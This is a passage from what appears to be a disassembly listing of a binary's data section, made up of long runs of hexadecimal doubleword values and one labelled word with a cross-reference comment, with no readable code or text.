		dd 641743D0h, 0FBB2B71Eh, 6FDEC3C0h, 12962392h,	83EFCE02h
		dd 0A4D4FA60h, 5A54FCDCh, 0B80031E8h, 0B4F91D44h, 4CF128A3h
		dd 2101F78Fh, 4C7E1362h, 0AB845849h, 5D4ABE08h,	402FC4C0h
		dd 5CBEC322h, 0EE16EA93h, 0A1250A26h, 38621Ah, 0A4C36DACh
		dd 300211A5h, 49243DE2h, 788E404h, 0B32DA909h, 0BA80E948h
		dd 8B3697B5h, 918DE300h, 33180408h, 0C05504BBh,	0C8396CA8h
		dd 0EF0057BCh, 50432D0Fh, 12FE92B9h, 14DFA9Ah, 0DBE55FC0h
		dd 0B8443404h, 5B12760h, 0EA72150h, 954D0336h, 586BACA0h
		dd 940210D2h, 0C5F43F23h, 0E5484130h, 18FA6981h, 72026763h
		dd 0E6023F8h, 0D9246E49h, 0C73CA236h, 86F0518Ch, 2CD20F0Ch
		dd 1B4AC5Eh, 9467D047h,	7B2828E3h, 48403B4Ah, 2EFB9683h
		dd 6C1A0314h, 24B8559Ch, 0CE5BC100h, 6A57EA1Ch,	0EF450FE5h
		dd 61001F09h, 256BEDA7h, 2D112112h, 6C3098CDh, 2EB04EACh
		dd 1842328h, 54724CEBh,	7448711Dh, 110168Ch, 0D84DF34Eh
		dd 28174425h, 2F808391h, 2C727104h, 709208F2h, 691E9B34h
		dd 46A3D600h, 6B81E3h, 61622B16h, 8B45607Bh, 6088D230h
		dd 0A143A0BFh, 6031ABA4h, 2852C6h, 50F1C490h, 814E2864h
		dd 0C7222600h, 8C2A7D0Ah, 0D6543C27h, 696E513h,	39129A98h
		dd 0ACBF3000h, 0AD5A37C3h, 0BEE40FF2h, 9F804A34h, 0CF6B78E8h
		dd 5887D90Ah, 0FCA6E085h, 5C9C14h, 3E2A6C21h, 9FA28Fh
		dd 978EE9A6h, 2F180552h, 5745A712h, 2AF3A402h, 2024ECD6h
		dd 0BF3A8362h, 54A798DFh, 2A2AB018h, 4BC08AB2h,	23A02E1Ch
		dd 891120Eh, 67802984h,	0AEE4042h, 7E4800EFh, 0F2D5D143h
		dd 900C93BCh, 8858236Ch, 0BF210C7Ch, 2EE83F4Ch,	934F4503h
		dd 94917014h, 0F1AC8Ch,	90CD359Bh, 0E84B0F8Ch, 0F400BDFCh
		dd 0D4C5B625h, 871F376Ch, 0A835CA24h, 70D4489Bh, 1E6D7D01h
		dd 6689B482h, 72AC0010h, 0C92A2D81h, 1A2600FCh,	0E7098255h
		dd 790C7553h, 0D8E42886h, 0C265249Fh, 9E23611Ch, 46C1FC09h
		dd 80E61600h, 0C4F06085h, 3B12F492h, 0D31FDFFEh, 0FAAC021Ah
		dd 0AF005596h, 0F286A19Ah, 44914A2Bh, 410B78A4h, 1039665Fh
		dd 681CC50h, 0A67902A5h, 2EF5FD86h, 0F4FF440h, 0FC851924h
		dd 4BAA6030h, 0DC740C47h, 48491D9Bh, 0AE95100h,	4FC139ACh
		dd 0F1FA58F1h, 13CF7501h, 267E3098h, 6C2B4ACCh,	61037D23h
		dd 22599325h, 0C20011B0h, 2B0FBB79h, 7D5AD24Ah,	1B080905h
		dd 3CA28052h, 942BE39Bh, 0FC392AACh, 3F122CCCh,	0A4E7009Fh
		dd 9926032Dh, 8038FE5Ch, 17F362DEh, 24673C8Dh, 32C66F81h
		dd 0F477D56Eh, 0F81FEF90h, 0F01A8AEh, 815BE378h, 180D583Dh
		dd 0C4982D8h, 0A20F1AB4h, 0C01F70F1h, 30AE483h,	0C4771DD6h
		dd 0B417EDAAh, 28807E91h, 5DA83A67h, 0FC840507h, 545234C3h
		dd 64E8C738h, 0D7E16012h, 8C4417AFh, 64C010A6h,	0EE6B4F00h
		dd 81B78A95h, 5B45E200h, 51EA6590h, 5F77054Ch, 8E37AD7Ah
		dd 3639D4Ch, 1077D9D0h,	0F684829Ch, 41120441h, 801539ACh
		dd 7EC308A1h, 0B63150h,	0F1B4B925h, 98A526AEh, 0F5730C02h
		dd 7BB0C034h, 0DC3D5828h, 0C590BA00h, 0AA23E2FEh, 1CAC2C07h
		dd 847B02DCh, 44605B7Ah, 261B32Bh, 562F1191h, 4C403424h
		dd 6B2388F6h, 4A17480Fh, 0A82EB47Ch, 2658EA50h,	2468FD17h
		dd 84D91148h, 490B039Dh, 5760A658h, 6416B2B1h, 71951E0Bh
		dd 0B80E007Eh, 912838D0h, 0D2C7A02h, 795198CAh,	190CD1DCh
		dd 4A3E60h, 0C8CF0671h,	0F10AD5Dh, 3033509Eh, 0D992C170h
		dd 6C2AF99Dh, 8AFB411Ch, 0B41215D6h, 8F41FC23h,	2A8BCCA1h
		dd 9AEDE4h, 68D3E7E5h, 0E862ECA7h, 8294BB27h, 46D64FA4h
		dd 5E7CB6B0h, 1F1F0146h, 0F9E1C4B7h, 7B18F49Bh,	96A6FC05h
		dd 0DCA09E0Ah, 85FCF991h, 0E1CB6AFDh, 0C1D2D9Ch, 1D800B91h
		dd 0E63BA7B5h, 40B8CC26h, 41D98542h, 87C9A1ABh,	98BFA9C0h
		dd 0EFE30902h, 201093F9h, 9AE8AB4Fh, 0D784509Ch, 0C8F4E805h
		dd 77DF00A2h, 53029CC1h, 0E3017629h, 0B941994Bh, 0B0317FB3h
		dd 632B4981h, 605F6011h, 6B4DFBECh, 0E4A88158h,	30803E48h
		dd 5ECA7603h, 69C0F4ADh, 48C2697Eh, 0C11100ECh,	9BFF5290h
		dd 0AC1C27FCh, 5DC26F7Ah, 40BA7850h, 1FEE419Fh,	411F8168h
		dd 0CFD014FFh, 1B40D697h, 8E00DCE3h, 4182B6D4h,	0F0DD3ECBh
		dd 6BEF3EE8h, 1DBE8400h, 0D1DA0198h, 0D0EE2F00h, 0A43A1787h
		dd 3D85B0E2h, 0C407E622h, 0D7821670h, 0A0A04796h, 1F5BC0D8h
		dd 0BA32E39h, 0E0CA9301h, 13A6FDBCh, 3DBA8AAh, 6F5F6C70h
		dd 177E182Dh, 802111CCh, 77D002A2h, 482B4C2Ch, 435F4F00h
		dd 0AFF4E024h, 465C08B4h, 18CF007Dh, 21412923h,	0F0B9A2h
		dd 667B0D6Dh, 0D54C2BD3h, 504D812Ch, 4031AD57h,	0BEC9C78h
		dd 24D778Ch, 0BA7677C5h, 5C23566Bh, 48B0FC05h, 16A1E088h
		dd 0C2780223h, 0CCF137D0h, 0BD180271h, 0F2E29900h, 0DE4FADA2h
		dd 0CA9225FDh, 477CE480h, 3B4A5077h, 72D4091h, 9E89C024h
		dd 3465EBCh, 759C9A07h,	2BE0D05Bh, 1189F8D9h, 0C80E4F2h
		dd 189BF574h, 60FB8339h, 0A60182EFh, 0E27297E7h, 67C48574h
		dd 25840A93h, 87D86831h, 5491105Ch, 535CB432h, 13974B6h
		dd 0FDED3962h, 5C6C7A41h, 3AA8305Ah, 25902B5Fh,	0C46E410Bh
		dd 0CD880B7Ch, 0AD60C010h, 3F5CCE32h, 767981A0h, 0B43CE2B4h
		dd 11D02B17h, 0D92C3C2Ch, 0B4FF644Ch, 481D5DB8h, 0FD05A7DEh
		dd 20B7103Bh, 68053D06h, 1131816h, 40CB7EE0h, 0DBC32188h
		dd 9B77CBC0h, 0ACA00255h, 35E56897h, 0ED58B47Bh, 552502D1h
		dd 0DA49A38Fh, 0AC308080h, 6090F374h, 4147C20h,	3D61D323h
		dd 0B94C0008h, 4EB09C94h, 0AF104756h, 6CC42BA2h, 6A90D48Bh
		dd 1C9A54CFh, 80BC5B54h, 0A1022B0Eh, 84AC009Ah,	1CC3AE9Ch
		dd 0BF1A508Dh, 0D103D613h, 0D0DE6DB0h, 0E167B84Ah, 0C702F569h
		dd 80C4F1F0h, 2C80446Dh, 0A200F7D7h, 27266235h,	2659C658h
		dd 1030CF75h, 0A4B67E86h, 0B465Ch, 0ACC48BE2h, 383DFDE6h
		dd 1D8AAF27h, 4080825Bh, 541C5E4Fh, 0AC75470Fh,	6407D269h
		dd 0AF804624h, 0BC7DADD5h
		dd 34465C98h, 3C626924h, 0CF766F02h, 2456AC5Fh,	420A9405h
		dd 0F9144B0h, 5876DFEh,	38A517A9h, 13D4A4B8h, 112758h
		dd 497092EBh, 58FA2907h, 5E829C96h, 685627E5h, 0D8CB2312h
		dd 0ACC8A87Ch, 80F4BE9Ch, 74BB47CDh, 0B13C13DDh, 0DE2C7065h
		dd 9C1C992Eh, 0F24A06Fh, 0EA50E5h, 1A3012D7h, 0B5711F57h
		dd 448F542Eh, 2BD04C89h, 916897BCh, 94888065h, 1E78AEFh
		dd 0E2087015h, 69B82313h, 923600CCh, 6B2E4F10h,	0A8270081h
		dd 166329E7h, 680BF806h, 0E89959DDh, 321FACh, 5EF6DEA2h
		dd 4941B9EEh, 98879500h, 43E586B8h, 7C780B8Ah, 0C0A3C69Ch
		dd 14BB916Dh, 25664100h, 4476209Bh, 6EC721Eh, 0B8933AA9h
		dd 73EA91DDh, 4684B701h, 34B3C3FFh, 2B13C06Ch, 9AB032DBh
		dd 98212A10h, 917C2F3Ch, 80906096h, 6C379324h, 7E02465Eh
		dd 5C23D12Eh, 7BA0FEC1h, 7C608271h, 4C4952D3h, 0AA92DD05h
		dd 7538802Fh, 71CBC039h, 0E4B71Dh, 0E5F79BDDh, 0B72207FAh
		dd 8DA500D8h, 3729E3DFh, 0B000909Eh, 59515C95h,	982AF1ADh
		dd 409B5B30h, 0B80F08F4h, 0BAF6BBFEh, 1A8C5C1Fh, 8EC0F89Ch
		dd 2B597BB3h, 8E154ACCh, 0E4529208h, 53E004F6h,	0DB089C20h
		dd 43A285Fh, 0C81EDC33h, 8C107B88h, 5F3560DEh, 81049B69h
		dd 39DDF07Ch, 4A744E2Ah, 0F84378A0h, 1100156Eh,	9D7A762Eh
		dd 0F9B5DBEh, 0D51AC9E6h, 87318978h, 1420D82Eh,	0E0F5D285h
		dd 0C5BAF809h, 6065C48Ch, 4A3D6Bh, 0CCA22DCh, 0F3E7CBA3h
		dd 2E69E312h, 0D9781402h, 8D38FAD7h, 59F46178h,	58B836CBh
		dd 5611070h, 7CBFD909h,	9A040058h, 762629D2h, 7DE818BCh
		dd 0C0F6018Ch, 5B55497Ch, 6938488Eh, 3931B89Ah,	2F11D15Fh
		dd 3C04A432h, 2FA0FFDh,	0FAFCC67Dh, 84A505C0h, 80C0E6BCh
		dd 49C91098h, 0C725FD1Eh, 0D84EB457h, 7C84E0AFh, 90552E94h
		dd 8CA25C10h, 0D1D22578h, 70EEE4C1h, 0FE18DA3Ch, 4A68A983h
		dd 86111AAAh, 0E482F016h, 5F0470F0h, 31EC9881h,	0B1AA3A00h
		dd 0C0E41F30h, 5A15B7C7h, 23142F75h, 807D1C6Ah,	338AA7EDh
		dd 22A9710h, 8B68C2Ah, 1F1501DCh, 9D85073Dh, 1C982810h
		dd 9393648Fh, 4730F8A1h, 4F0DFADh, 0F567FB6Ch, 0BA06D10h
		dd 0E0DA8303h, 0B865C04h, 0F5D81901h, 0D64CD4A8h, 0F4FFB705h
		dd 6CF4FD3Eh, 0EFFC63h,	43505255h, 0B822E26Ah, 409E7C9Ch
		dd 599E2680h, 2D9FE5Dh,	0F86A5630h, 447017A0h, 17579125h
		dd 960891C4h, 0B3307500h, 6B5D1A7Dh, 9E009159h,	0FBE3CDC7h
		dd 924D0506h, 39169Ch, 0D4B35E2Fh, 0B4A6F8A9h, 0BCFDBD12h
		dd 97AFDCC2h, 807E91FCh, 1A9F6507h, 66C915Ch, 0C9A96B40h
		dd 0FD609095h, 0D669003Ah, 18933B46h, 6870AD55h, 425CECA1h
		dd 74309C80h, 984B1107h, 3629D91h, 0CC076BEFh, 0DFE8D34Eh
		dd 49095879h, 0F1DD67A8h, 80551104h, 5D46BE9Fh,	2E448CA0h
		dd 0BE970396h, 40F03D8h, 9A5572D0h, 1C83B4B6h, 90F0DF24h
		dd 1DA0A17Dh, 0D630EBh,	0A6928D1Fh, 0F317402Ah,	0C44CFC77h
		dd 2A18C9AEh, 2F985062h, 9C907C5Bh, 0E24FEA09h,	7A8F04C0h
		dd 8441826Ch, 96F1897h,	69984607h, 0EC00041Ch, 2B630766h
		dd 0B0C8137Fh, 41B34ACCh, 0F5AA2394h, 0E0E826AFh, 0FAE34ACCh
		dd 0AFC6021Fh, 0F7CE08FEh, 0D1ECF00h, 0FB2CB8E0h, 35D54A10h
		dd 4C4EB59h, 310D2E7Dh,	403D8CF9h, 948F1860h, 8497C9A0h
		dd 1488C700h, 9BFE0E1Fh, 0F264F3F1h, 0B1CF178h,	0C032C8E0h
		dd 0DCA4760Dh, 22AE9A13h, 0F398081h, 42868851h,	839B90D3h
		dd 0A22300F2h, 900CAF6Ch, 0B1648B94h, 0C8A27E98h, 623133E2h
		dd 3A9D3BECh, 404EA4A7h, 0ED9B6904h, 652E1CCEh,	7C87E87Ah
		dd 0BD203409h
		db 6Eh,	74h
word_505446	dw 22Ah			; DATA XREF: ___:off_4374B8o
		dd 19F25B76h, 0D0A2325Eh, 0F4F024ACh, 0A96220Fh, 4BC547Ah
		dd 33C88667h, 3D0934A8h, 0A02B049Dh, 91912506h,	114C1D95h
		dd 68CC8060h, 1A6666Fh,	0DCC73506h, 6AF47CA8h, 0B22AEC43h
		dd 11D91313h, 0FC702299h, 510120E4h, 42D3822Fh,	5024109Ch
		dd 0EC2500F8h, 6B0FC524h, 9B28948Eh, 0FD48B4B3h, 0F349808Ch
		dd 0FBD8E1h, 7C54B3Fh, 0AC5CEE73h, 4B19043Ah, 12722088h
		dd 32B42B11h, 84824970h, 0F20F1474h, 4D460C8h, 43A1A544h
		dd 554E647h, 0AA82DC9Bh, 418F4A8h, 357AC12Dh, 91DAD100h
		dd 0EE603323h, 754B3C4Dh, 2F1A531Eh, 559CC422h,	0E068A076h
		dd 0B94C6488h, 4C964B92h, 8F2860D4h, 0B608A395h, 0A629002Ah
		dd 0ADF5BA20h, 880B4579h, 79BD90Eh, 0FF22739Eh,	94F97Bh
		dd 11232FB8h, 2A0C5E9Ah, 98496E60h, 5F41254Dh, 3C536011h
		dd 73089A80h, 0FEFA8988h, 0D3010079h, 0C9A13FA8h, 2D9D33D8h
		dd 0C8444B6Fh, 0F6147C18h, 7F0581h, 766A8A6Dh, 32CBBC38h
		dd 855CF713h, 0E49F420h, 9C33058Bh, 8E4B91CEh, 639D68h
		dd 858ECE2Bh, 0B93E486Ch, 0B1E20BAEh, 64246755h, 8E01602Dh
		dd 3D8F1E28h, 788744D1h, 6108A440h, 0CA4B1C42h,	0C36AC8FCh
		dd 0A79067E2h, 0F62752A9h, 0D9F862A6h, 180D71F8h, 66BB1DDDh
		dd 0DAB581D3h, 87825B8Fh, 2C22AA21h, 11E4C8ABh,	23E35B94h
		dd 5846824h, 30B06D9Bh,	79A4B135h, 0FC9B1808h, 7D20EC16h
		dd 0FD5625F8h, 79026806h, 290543E4h, 7414BFC9h,	2F22009Eh
		dd 0C04E9426h, 88AD5D81h, 1984C41Ah, 4459553Ah,	0AA231C68h
		dd 0C1805A5h, 0B8ECC3AEh, 27EE2E1h, 6AB0C0DCh, 0F8EF2880h
		dd 6E4803Ch, 7DD98084h,	9154E131h, 0A07A0C87h, 0DCA85C12h
		dd 0D000884h, 0FDF70410h, 3ABAA15Eh, 0C993588Ch, 0F278A253h
		dd 66B13029h, 0EC16FF1Ch, 5938D803h, 432B80DDh,	1B822F88h
		dd 0DF081C17h, 8BC360AFh, 0A9026A94h, 9515C95Ah, 8ED4596Bh
		dd 300877D9h, 2FAC3306h, 1C4C2519h, 0BC43865h, 0F5093060h
		dd 5C84EB02h, 58195918h, 84404CA0h, 0BD031000h,	0B7C77621h
		dd 541158B4h, 47BEC29Ch, 0CCC7985Dh, 0BEC29501h, 0F9C936E2h
		dd 8474206Bh, 44F3A8ADh, 8268ACF4h, 40DA6DA1h, 8E2A9Ah
		dd 47579DF4h, 0FE8DB9AFh, 0E79A1900h, 1D639692h, 5C54006Eh
		dd 0FE3C223h, 37068F72h, 0E16C3C09h, 50952310h,	5B81C31Fh
		dd 100A2287h, 5330C4E1h, 0DC41CB98h, 19E468D1h,	0C06A28B1h
		dd 108294B4h, 93A06916h, 0F45F4001h, 3C6392F9h,	0F3134101h
		dd 3024ABCBh, 5092E933h, 1CA621D3h, 0E61096F0h,	0D0F7A70Bh
		dd 0E414E5B8h, 1ABF6104h, 911D6120h, 0B009784Ch, 0DEBB0086h
		dd 9AF17952h, 9303541Fh, 5BDCD1C4h, 0AA29128Eh,	60E009A7h
		dd 0A61C04A5h, 8875B300h, 98FF8Ch, 0B1824987h, 55BCDAD3h
		dd 8EAC28EDh, 3324409Bh, 0F0FB1916h, 43F3EDD6h,	0D7014868h
		dd 0D11A433Fh, 2B1C75B8h, 57D26820h, 0DFA6006Ah, 0B664850Ah
		dd 47009CB5h, 4A66707Fh, 602C8A75h, 0AB4C39CFh,	622C0A9Ah
		dd 0CDA51C85h, 74CC6118h, 4739Dh, 16BDD74Eh, 3BA6A7h, 7D467867h
		dd 9CA2E7F6h, 0F1554132h, 5BB05AD6h, 0DDA42049h, 0F970E1C4h
		dd 3C68EC30h, 0D12F02h,	0A6B19FBCh, 38AD2B1Ah, 90F1D4B2h
		dd 44D5CAC0h, 63024CACh, 55A593F6h, 3554C690h, 0E8493A49h
		dd 2C9B16B8h, 0D4006CF3h, 3096293Ch, 2E0324BCh,	93113250h
		dd 5321091Ch, 4929C91h,	271765C0h, 0DF65BF01h, 0A545F063h
		dd 0C8C120h, 0CDA591Bh,	75BF685Ch, 302CD573h, 180B0CD7h
		dd 16705163h, 0B608169Bh, 95A005Ch, 0F8C6479h, 0C7500CFDh
		dd 6F9085BBh, 92931013h, 4E0094F7h, 0BC9FCFC1h,	19146F0Ch
		dd 10A4AC9Eh, 267784DAh, 438890FAh, 98DEC46Bh, 4432392Dh
		dd 710CB1F4h, 7D1809h, 0C7581027h, 0AD2AF0A6h, 53415669h
		dd 9887348h, 6E27D01Ch,	24E43Ch, 5C4035E9h, 0C2E7ECCFh
		dd 0BF090F00h, 8D8C06C7h, 559124Ah, 9BE84994h, 9A543C10h
		dd 0F00F2001h, 8F37A661h, 56DA530h, 0BFD926C3h,	0B6C84B90h
		dd 3A003C52h, 46F4986Ch, 57BD72h, 0DE4191BEh, 1897370Dh
		dd 77DC6253h, 0B09D9513h, 7DE204E2h, 3014F530h,	0E8A9179Ch
		dd 0BF3EA6A2h, 723A848Bh, 30F8570Dh, 6030D6BDh,	24C14C5Ah
		dd 5D049211h, 0CFB0190h, 0BE3C76AAh, 9B65E30h, 8555BBCBh
		dd 9FA94498h, 0C090F112h, 252154C2h, 7D50C8FCh,	98ABBD00h
		dd 0F7AD33EBh, 71F801D3h, 0FC77D455h, 91C5E85Eh, 6611AC99h
		dd 0A0174581h, 2CE7D27Ch, 175E813Fh, 0EA7E4A20h, 27B565ECh
		dd 50B299ACh, 55976482h, 0A3068120h, 27525A8h, 0A5AE2C84h
		dd 0AD044C44h, 3EE38403h, 0F87E63E1h, 0ED702Bh,	55AC7D41h
		dd 0C46C48F2h, 64101095h, 260E0060h, 0ED1F07AEh, 69B0C67Ah
		dd 97751D3Fh, 0F8F2594Bh, 9A44FE00h, 0DA7DED2Ch, 2CCBA64Eh
		dd 1B02E3DDh, 601A2577h, 17A9D757h, 0C8E1B32Bh,	0FC892DA8h
		dd 5FF848h, 4D1BAEF7h, 7DF8E111h, 7905E007h, 89E364F6h
		dd 6E4E9807h, 0F4909FACh, 0A0074D4h, 0BF8FB3BDh, 0F99139h
		dd 0E2264364h, 0FDC86246h, 3D0EF4A4h, 80F52B99h, 7ECBB107h
		dd 0EC7EB8h, 755773BDh,	7C0DC5C7h, 0E76A8E00h, 0AFB9CC8Bh
		dd 3FE8F174h, 0C44A0050h, 18E424DBh, 3200C798h,	0B2B4FABh
		dd 0A42EB4h, 3DAC036Dh,	4CADD091h, 305418B0h, 820B4FECh
		dd 8029D1CFh, 0D2962460h, 87A58F2h, 78C6AF8h, 4AC7A976h
		dd 0AB9AF206h, 0E4EF744Ch, 0E525DFD2h, 11B49D75h, 5C888065h
		dd 13543DABh, 0BFB8EDh,	0E4A8AAE1h, 94137C49h, 0DCCEC8AEh
		dd 20C02DC8h, 2DB0219Bh, 9CC00570h, 0A325B148h,	8810C158h
		dd 0FC796435h, 5A706BB8h, 40413A5Ah, 62AC2C69h,	71ECBDF4h
		dd 27D47F81h, 9837BE42h, 694FCE05h, 34F54CC0h, 5C10B5BCh
		dd 0A300CCF1h, 7E02F77Ah, 1C6B15C8h, 8053725Ch,	0C05EFFF3h
		dd 0B0BA8DADh, 153DC47Fh, 754C7B55h, 5296C06Ch,	2EB032Ch
		dd 0DD58E032h, 94879C76h, 5AEC321h, 9653D92Eh, 6FC0C702h
		dd 98D0585Eh, 80555858h, 18C0CFCh, 0EEA1FF20h, 23A8F395h
		dd 0EDB101D0h, 9D90F0ADh, 2BC8B831h, 8C6000E3h,	8AB0177Fh
		dd 0A3080966h, 1E91C5AFh, 404EE41h, 45DD9811h, 0D8BDDA2Ah
		dd 0FD504A02h, 0CF90167h, 431869D9h, 609EA701h,	0DAAC1854h
		dd 0DBD8402Eh, 933DC14Fh, 1532D502h, 0C864055Fh, 88116BA8h
		dd 5207C271h, 0D04FA43Ah, 0E55EF940h, 0ED29C05Fh, 8CB8840h
		dd 0B0E8950Bh, 1A0683D5h, 0B35CB376h, 9D29078Ch, 444C5F13h
		dd 0D8609CD2h, 465EA8B6h, 59200129h, 0F554CA0Bh, 105F1C4h
		dd 0C084AC3Dh, 0C60FA528h, 0ADB92040h, 1D4F91F2h, 0C88C0CBh
		dd 7CB760CEh, 0CD6C3CDh, 0FA3A536Ch, 0B8003841h, 94D322CEh
		dd 0C08019h, 7567EDBDh,	0C2D9BBA6h, 9430B15Ch, 0C6A9008Dh
		dd 0C802761Fh, 0B20E007Ah, 30D55244h, 1600F229h, 0B3999721h
		dd 0C282BAB9h, 0D62B4138h, 188114DCh, 1BAB9F96h, 3766C69h
		dd 0AD75E46Eh, 0CEE00931h, 8439B973h, 0F804869h, 28131Ah
		dd 0D287B2B1h, 0FC5F7A11h, 9FAA00B9h, 2F5C5075h, 2B0158DAh
		dd 519ABBA3h, 0A0207C7Eh, 93F0B4D9h, 6448E49Bh,	6329800h
		dd 0F73AD82Fh, 3F5F3E41h, 0F54F3080h, 5CDBAA8Bh, 4CD0764Bh
		dd 926BFDA6h, 68411C44h, 5F8EC00Ah, 19BE742Ch, 0B9F46A00h
		dd 0EAFD484Ah, 0DBA800A9h, 0CD6F62F7h, 0E2133D6Eh, 4600D35Ch
		dd 6B1FB1FAh
		dd 0F0F800BBh, 0E95AAE10h, 0E70074C6h, 0A40BB4C5h, 60A7E61Ch
		dd 18C728B3h, 0C900CDDFh, 90E90389h, 7F0AA1h, 6B1EF8FDh
		dd 0F2E7347Ah, 4305C900h, 42DC536Fh, 8DCE006Ch,	452112Bh
		dd 0C903643Fh, 1D0F20C5h, 1CF7A191h, 0EC8BD0h, 630C6086h
		dd 642B8FBCh, 0F3CC6D03h, 0D84C18C6h, 0BCB5467h, 0D9CD29A3h
		dd 7980338Eh, 5B31ABDEh, 51104760h, 0E099EAh, 0C767D3D0h
		dd 79614A34h, 6F42ED00h, 11E909B7h, 258500C2h, 84711B6Bh
		dd 600E567Ah, 0C791E48Ah, 8C9A68E5h, 0D0D504A1h, 9C00E4A2h
		dd 0FFE1B734h, 1FF8E078h, 189DE677h, 33C519DCh,	1C311E67h
		dd 241CA06h, 0E66506AFh, 0AC015E32h, 0DF20CBD6h, 84770Bh
		dd 0EA6E34FCh, 0EB568D83h, 9DD37500h, 0B6D04AECh, 3E5503E1h
		dd 0C7E27EB1h, 9907669Bh, 461C2A10h, 0A0565140h, 3AA700FAh
		dd 1B6D4924h, 554CC067h, 487600BFh, 0E0E4772Eh,	0EA1C18C7h
		dd 0D0229970h, 5534B1C7h, 843AE470h, 0F9E253h, 7E82D85Dh
		dd 5668838Fh, 40B51C34h, 0B3BA5C81h, 0A4DE1B00h, 0F518E360h
		dd 1681363h, 5A7E4296h,	4002EC23h, 2BEDAD08h, 0D0565900h
		dd 24145248h, 0F7C60184h, 975769F8h, 5021F98Ch,	6432B6A4h
		dd 9F4B6700h, 0D224F61Fh, 0F3BA035Fh, 7E4350DAh, 0CBCCA2B0h
		dd 0FE0C397Eh, 68A1E202h, 9A7F0032h, 6234A466h,	4F60EE03h
		dd 2EA05A30h, 0C59A8383h, 8C5280A1h, 475FF084h,	79629A01h
		dd 0C62C2DADh, 0E45027CDh, 310360FFh, 79481AC2h, 67198218h
		dd 0C04B44F0h, 0A865C1h, 790D5DA6h, 0FF5FAED7h,	0DEE90400h
		dd 3DEA2B7Ch, 6AEC01E7h, 5ABAC27Ah, 0BC88801Dh,	68B2B455h
		dd 9010C169h, 70F4988Dh, 0E7067CA9h, 1C50C612h,	0A87E7C71h
		dd 0A6FFFCh, 0A4B2FD11h, 0BD2A3719h, 0EAC71600h, 755DF027h
		dd 36B97F13h, 18587988h, 6E778F00h, 0D49934CAh,	0C900841Fh
		dd 18B49C88h, 3846273h,	0FA2999Fh, 7A89A0C5h, 0C0404479h
		dd 2ACA9331h, 590CF201h, 0A14B8B27h, 2A43BF8h, 0D6A555Ch
		dd 9480385Eh, 54E8DCA3h, 90C19D14h, 0FFC91EFBh,	800FF426h
		dd 484D400Fh, 0FDA61E3h, 0AC1EC55Ah, 5B17003Ch,	0A895A593h
		dd 0B7254300h, 0BD6AA2DCh, 309A3E0Fh, 809C5180h, 0D2639F7Dh
		dd 64156F01h, 5447AFC8h, 780767F0h, 0A418C062h,	2C3D5F3Eh
		dd 9C201857h, 7F07D168h, 82FD1067h, 3D3D8E1Eh, 89395040h
		dd 0E55BC6EAh, 0DE3E02Ah, 95DF0C00h, 2844F140h,	91790508h
		dd 29827D92h, 37819D20h, 1442C490h, 0C13E0803h,	0E3C80AA0h
		dd 2F003581h, 0EFC89C16h, 38156E42h, 0BCBADB5Ah, 0FB577002h
		dd 34932CE3h, 80C2082Ah, 72E9B423h, 3C00A01Fh, 5DE86443h
		dd 0D0ED0021h, 0BC424110h, 0E8A3DD24h, 4B6E4E2h, 0AD308B0Fh
		dd 53E9805Ch, 0B8E8C9h,	0D62AA44Dh, 2BDFD0F2h, 8C374600h
		dd 0E443E38Dh, 0AB3432EAh, 0D5103829h, 0E061880Dh, 88A8B088h
		dd 2F88294Ch, 0DE65880Eh, 8BAAA788h, 396F2184h,	7107912h
		dd 0FEF489A5h, 223A2722h, 1925DF1Dh, 0F0083C0Fh, 4093451Ch
		dd 94F4081h, 723F8EE4h,	28B68050h, 6205F920h, 1EC10175h
		dd 0B419DBEFh, 6E5F476h, 9322BB07h, 0C5A0C453h,	26945F26h
		dd 0CAB71Ah, 0F4240BE6h, 8D004A35h, 0CC2184C1h,	0EDBFB8h
		dd 8ABB74E0h, 0B7F8013Ch, 5B29D300h, 0E9AA3239h, 179071h
		dd 0DB098FF6h, 0BBC190DDh, 65EEB21Ch, 362B2340h, 3A24FBA2h
		dd 0ED007F53h, 0BF0849Eh, 5C1D29B2h, 0EEC041ACh, 0A2058F9h
		dd 1E910073h, 0ABAE43D2h, 6C0165B4h, 127D368Eh,	0C8CFDB72h
		dd 0A3AD07h, 0F960EB2Ch, 30A76AFBh, 4A368B00h, 0D2F2E93Fh
		dd 0DFC10077h, 74D8E619h, 327E602Bh, 0A10BF400h, 80E06DAAh
		dd 9FD0044h, 209F53D4h,	0A40033F0h, 0ACF24DDAh,	3885E901h
		dd 71FD68B3h, 0E67137h,	35306A63h, 86133DA8h, 62925F00h
		dd 2CD4710Bh, 0DF2B00CCh, 0BB1569C9h, 41007793h, 2DDA16A8h
		dd 1E590140h, 0C781D585h, 2071DD9Bh, 5132AE5h, 0C4245401h
		dd 0A14925F0h, 75743C4h, 84C814D9h, 0E9A330CCh,	5E00FC33h
		dd 8C22EBE0h, 0FC22941h, 94D3CADAh, 50672B67h, 449F793Dh
		dd 0EBE3F007h, 0BB10B220h, 777454h, 0E071DEBDh,	0E83B11C9h
		dd 0C90EB00h, 35DBEA8Eh, 8D7C95h, 49B52DFBh, 39E080B8h
		dd 55AE6900h, 815AD315h, 0B13400F0h, 3F731E1Dh,	4606805Ch
		dd 4A1CFCD0h, 0AC420198h, 3803DFF3h, 5F29DC0Ah,	1308E80Fh
		dd 44586135h, 5BFCA483h, 18900023h, 43C58955h, 0BD0CB4EBh
		dd 6AE0F738h, 686F00FAh, 4E71A4F4h, 0F0281C5Dh,	36989C47h
		dd 0ECA6C101h, 0D65B55BEh, 9EC81981h, 0C5CF3AF1h, 1896C07Fh
		dd 90F97100h, 0CE08100Fh, 0B01B001Fh, 1275934Ah, 0DB004CFBh
		dd 0A350E5D2h, 0E80CE26Ah, 0F3F73E74h, 0DFCE2700h, 73F176B1h
		dd 0E1AF0A00h, 59E9EAEBh, 4C380790h, 10E0DB6Fh,	23C2B4A3h
		dd 4974EF00h, 46DF4ECAh, 0E3CD3C1Eh, 265112h, 31B70E08h
		dd 451CBE9Ch, 12402D3Eh, 0AE5ECB98h, 475B00C2h,	0D8EBCCF7h
		dd 7B0085E1h, 37B4545Dh, 7FE6A831h, 15E24Eh, 600C6E1Ch
		dd 6598CEA3h, 493F8C00h, 931185C0h, 46920199h, 4DD60F18h
		dd 668CE0C2h, 500DD70h,	963BC4E6h, 0B10C50h, 4AF2A998h
		dd 5684035Ah, 933DD812h, 5D240600h, 993635h, 0E3346F77h
		dd 4E1E8D9Ch, 168A9509h, 7C0000BBh, 60B2F1AAh, 0C59111Ch
		dd 6A73D666h, 0BE329F63h, 0A4B7D0D9h, 6C5C001Ah, 7A1871CCh
		dd 53177B2Ah, 380152F7h, 0AF79E41Ch, 2354820h, 5BCEC413h
